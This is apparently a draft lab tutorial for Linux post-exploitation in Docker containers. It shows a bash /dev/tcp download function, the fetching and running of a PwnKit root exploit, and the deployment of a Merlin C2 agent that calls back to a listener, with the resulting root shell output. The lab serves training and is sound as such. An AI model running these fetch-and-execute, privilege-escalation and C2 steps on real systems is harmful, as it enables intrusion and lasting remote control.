Security Weekly Vulhub Labs

http://github.com/SecurityWeekly/vulhub-lab

Draft v.01

Linux Post-Exploitation Lab

On your host system:

```
$ git clone https://github.com/SecurityWeekly/vulhub-lab.git

$ cd vulhub-lab

$ docker-compose up -d
Creating network "vulhub-lab_vulhubnet" with driver "bridge"
Creating merlin       ... done
Creating vul-linux    ... done
Creating telnetserver ... done
Creating jenkins      ... done
Creating mysql        ... done
Creating kali         ... done
Creating solr-log4j   ... done
Creating trevorc2     ... done
Creating http-server  ... done
Creating shellshock   ... done
Creating phpmyadmin   ... done
```

```
$ docker ps

CONTAINER ID   IMAGE                          COMMAND                  CREATED
STATUS              PORTS
NAMES

a368f0a6e83a   vulhub/phpmyadmin:4.8.1        "docker-php-entrypoi…"   About a minute ago   Up
About a minute   0.0.0.0:49274->80/tcp, :::49274->80/tcp
phpmyadmin

580970ae8a6c   vulhub/bash:4.3.0-with-httpd   "apache2ctl -DFOREGR…"   About a minute ago   Up
About a minute   0.0.0.0:49273->22/tcp, :::49273->22/tcp, 0.0.0.0:49272->80/tcp, :::49272->80/tcp
shellshock

360282c8f9d2   vulhub-lab_http-server         "/entrypoint.sh"         About a minute ago   Up
About a minute   0.0.0.0:49269->22/tcp, :::49269->22/tcp, 0.0.0.0:49268->80/tcp, :::49268->80/tcp
http-server

fb59560d5da5   vulhub-lab_trevorc2            "python3 trevorc2_se…"   About a minute ago   Up
About a minute   80/tcp, 443/tcp
trevorc2

c0f7ceefaffd   vulhub/solr:8.11.0             "/opt/solr/bin/solr …"   About a minute ago   Up
About a minute   0.0.0.0:49266->8983/tcp, :::49266->8983/tcp
solr-log4j

2769d865dc59   vulhub-lab_kali                "/usr/sbin/sshd -D"      About a minute ago   Up
About a minute   0.0.0.0:49267->22/tcp, :::49267->22/tcp
kali

44bcb597cca7   mysql:5.5                      "docker-entrypoint.s…"   About a minute ago   Up
About a minute   3306/tcp
mysql

524065422e42   vulhub/jenkins:2.138           "/sbin/tini -- /usr/…"   About a minute ago   Up
About a minute   0.0.0.0:49271->8080/tcp, :::49271->8080/tcp, 0.0.0.0:49270->50000/tcp, :::49270-
>50000/tcp   jenkins

5919741dfb18   vulhub-lab_telnetserver        "bash -c 'xinetd -do…"   About a minute ago   Up
About a minute   0.0.0.0:49265->23/tcp, :::49265->23/tcp
telnetserver

4636fb4bdb25   vulhub-lab_vul-linux           "/bin/bash"              About a minute ago   Up
About a minute
vul-linux

6ad6b270d3a4   ne0nd0g/merlin                 "go run main.go"         About a minute ago   Up
About a minute   443/tcp
merlin
```

Next, attach to the vulnerable Linux container called "vul-linux". This container is vulnerable to both the Policy Kit and Sudo exploits. We're just going to pretend that we've exploited some remote service, such a webapp, or guessed a remote access service such as SSH:

```
$ docker attach vul-linux

user@vul-linux:/$

user@vul-linux:/$ id
```

```
uid=1000(user) gid=1000(user) groups=1000(user)
user@vul-linux:/$
```

Tip: CRTL-p then CRTL-q to detach from the container. To use "docker attach" set stdin_open: true and tty: true in the docker compose file. This allows you to run a service and when attaching to that container, interact with that service with a shell.

You can use wget, curl, netcat and many other tools to pull files from a remote system. However, in a container environment what if these tools are not installed and the administrator has also removed apt and apt-get? Also, you need to be root to install software, and we are not yet root. Thankfully we can use some Bash Kung Fu to pull a file from a remote web server:

```
user@vul-linux:/$
__curl() {
  read proto server path <<<$(echo ${1//// })
  DOC=/${path// //}
  HOST=${server//:*}
  PORT=${server//*:}
  [[ x"${HOST}" == x"${PORT}" ]] && PORT=80

  exec 3<>/dev/tcp/${HOST}/$PORT
  echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
  (while read line; do
   [[ "$line" == $'\r' ]] && break
  done && cat) <&3
  exec 3>&-
}
```

The above code defines a function that we can call within this terminal session as follows:

```
user@vul-linux:/$ __curl http://10.1.1.14/PwnKit > /tmp/pwnkit
```

We have to save the new file to a directory that we can write to as a non-root user. Once the file is downloaded, from another container configured as a very basic HTTP web server, we can run the exploit:

```
user@vul-linux:/$ cd /tmp
user@vul-linux:/tmp$ chmod +x pwnkit
user@vul-linux:/tmp$ ./pwnkit
```

Next, we need to setup the Merlin C2 server (Read more about Merlin C2 here: https://medium.com/@Ne0nd0g/introducing-merlin-645da3c635a). For this we need to attach to the merlin container and run the following commands to start the listener:

```
$ docker attach merlin

Merlin» listeners
Merlin[listeners]» use http2
Merlin[listeners][http2]» set Interface 10.1.1.15
Merlin[listeners][http2]»
[+] set Interface to: 10.1.1.15
Merlin[listeners][http2]»
Merlin[listeners][http2]» start

[-] Certificate was not found at: /opt/merlin/data/x509/server.crt
Creating in-memory x.509 certificate used for this session only

[+] Default listener was created with an ID of: 6d986981-75bb-45b9-93bd-
114c9a4d7665

[+] Started HTTP2 listener on 10.1.1.15:443
```

Now switch back to the vul-linux container console. In order to maintain some persistence on the target (we are in a container, so this could be short-lived) we can use the same Bash command to pull down the Merlin agent:

```
root@vul-linux:/tmp# __curl http://10.1.1.14/merlinAgent-Linux-x64 > m.out
-i: __curl: command not found
```

Oops, since we created a new terminal session, we'll need to re-define our function:

```
root@vul-linux:/tmp#
__curl() {
  read proto server path <<<$(echo ${1//// })
  DOC=/${path// //}
  HOST=${server//:*}
  PORT=${server//*:}
  [[ x"${HOST}" == x"${PORT}" ]] && PORT=80

  exec 3<>/dev/tcp/${HOST}/$PORT
  echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
  (while read line; do
   [[ "$line" == $'\r' ]] && break
  done && cat) <&3
  exec 3>&-
}
root@vul-linux:/tmp#
```

Next, pull down the Merlin agent, save it to /tmp and execute it using the –url flag to specify the C1 server to connect back to:

```
root@vul-linux:/tmp# __curl http://10.1.1.14/merlinAgent-Linux-x64 >
m.out
root@vul-linux:/tmp# chmod +x m.out
root@vul-linux:/tmp# ls -l
total 9404
-rwxr-xr-x 1 root root 9613312 Feb  2 14:32 m.out
-rwxr-xr-x 1 user user   14464 Feb  2 14:17 pwnkit
```

```
root@vul-linux:/tmp#  ./m.out --url "https://10.1.1.15" &
[1] 30
```

Next, go back to the merlin container console and you should see an agent connect (takes a few seconds):

```
Merlin[listeners][Default]»
[+] New authenticated agent checkin for 856c7e3d-bf20-466b-ad72-9b4b1bb852ab
at 2022-02-02T15:26:43Z


Merlin[listeners][Default]»
Merlin[listeners][Default]» back
Merlin[listeners]» back
Merlin» agent list


               AGENT GUID               |  PLATFORM   | USER |   HOST    |
TRANSPORT    | STATUS
+---------------------------------------+-------------+------+-----------+----
-------------+--------+
  856c7e3d-bf20-466b-ad72-9b4b1bb852ab | linux/amd64 | root | vul-linux |
HTTP/2 over TLS | Active



Merlin» interact 856c7e3d-bf20-466b-ad72-9b4b1bb852ab
Merlin[agent][856c7e3d-bf20-466b-ad72-9b4b1bb852ab]» info


  Status                          | Active
  ID                              | 856c7e3d-bf20-466b-ad72-9b4b1bb852ab
  Platform                        | linux
  Architecture                    | amd64
  UserName                        | root
  User GUID                       | 0
  Hostname                        | vul-linux
```

```
  Process ID                     | 30
  IP                             | [127.0.0.1/8 10.1.1.13/24]
  Initial Check In               | 2022-02-02T15:26:40Z
  Last Check In                  | 2022-02-02T15:28:54Z
  Agent Version                  | 1.2.1
  Agent Build                    | 2093919bddd4e63dc9ac08c986b684d8e60c6c46
  Agent Wait Time                | 30s
  Agent Wait Time Skew           | 3000
  Agent Message Padding Max      | 4096
  Agent Max Retries              | 7
  Agent Failed Check In          | 0
  Agent Kill Date                | 1970-01-01T00:00:00Z
  Agent Communication Protocol   | h2
  Agent JA3 TLS Client Signature |
```

```
Merlin[agent][856c7e3d-bf20-466b-ad72-9b4b1bb852ab]» run id

Merlin[agent][856c7e3d-bf20-466b-ad72-9b4b1bb852ab]»

[-] Created job mJiuBWoaHM for agent 856c7e3d-bf20-466b-ad72-9b4b1bb852ab at
2022-02-02T15:30:20Z

Merlin[agent][856c7e3d-bf20-466b-ad72-9b4b1bb852ab]»

[-] Results job mJiuBWoaHM for agent 856c7e3d-bf20-466b-ad72-9b4b1bb852ab at
2022-02-02T15:31:04Z


[+] Created id process with an ID of 41

uid=0(root) gid=0(root) groups=0(root)



Merlin[agent][856c7e3d-bf20-466b-ad72-9b4b1bb852ab]» shell env

Merlin[agent][856c7e3d-bf20-466b-ad72-9b4b1bb852ab]»

[-] Created job xxxUZxFuuc for agent 856c7e3d-bf20-466b-ad72-9b4b1bb852ab at
2022-02-02T15:31:23Z

Merlin[agent][856c7e3d-bf20-466b-ad72-9b4b1bb852ab]»

Merlin[agent][856c7e3d-bf20-466b-ad72-9b4b1bb852ab]»
```

[-] Results job xxxUZxFuuc for agent 856c7e3d-bf20-466b-ad72-9b4b1bb852ab at 2022-02-02T15:32:10Z

[+] SHLVL=1

_=./m.out

PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

PWD=/tmp